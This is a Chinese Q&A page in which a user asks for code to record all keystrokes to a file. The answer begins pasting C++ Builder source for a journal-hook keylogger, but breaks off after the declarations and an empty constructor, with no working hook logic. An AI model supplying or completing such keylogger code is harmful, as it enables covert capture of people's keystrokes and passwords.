请问 VBS 或 java 上有哪些代码可以记录键盘的所有动作.并可以记录在一个文档上呢?

来源:百度知道 编辑:UC知道 时间:2024/05/26 11:43:25

这个不大清楚,不过用c语言可以很容易的实现

日志钩子代码如下,你慢慢品味吧:

//-----------.cpp文件
//---------------------------------------------------------------------------

#include <vcl.h>
#include <stdio.h>
#pragma hdrstop

#include "KeyHookU.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TfrmLogHook *frmLogHook;

HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);

//钩子变量
HHOOK g_hLogHook=NULL;
//记录上一次得到焦点的窗口句柄
HWND g_hLastFocus=NULL;
//键盘掩码变量
const int KeyPressMask=0x80000000;
//保存上一次按键值
//char g_PrvChar;
//---------------------------------------------------------------------------
__fastcall TfrmLogHook::TfrmLogHook(TComponent* Owner)
: TForm(Owner)
{
}
//-------------------------------------------------------------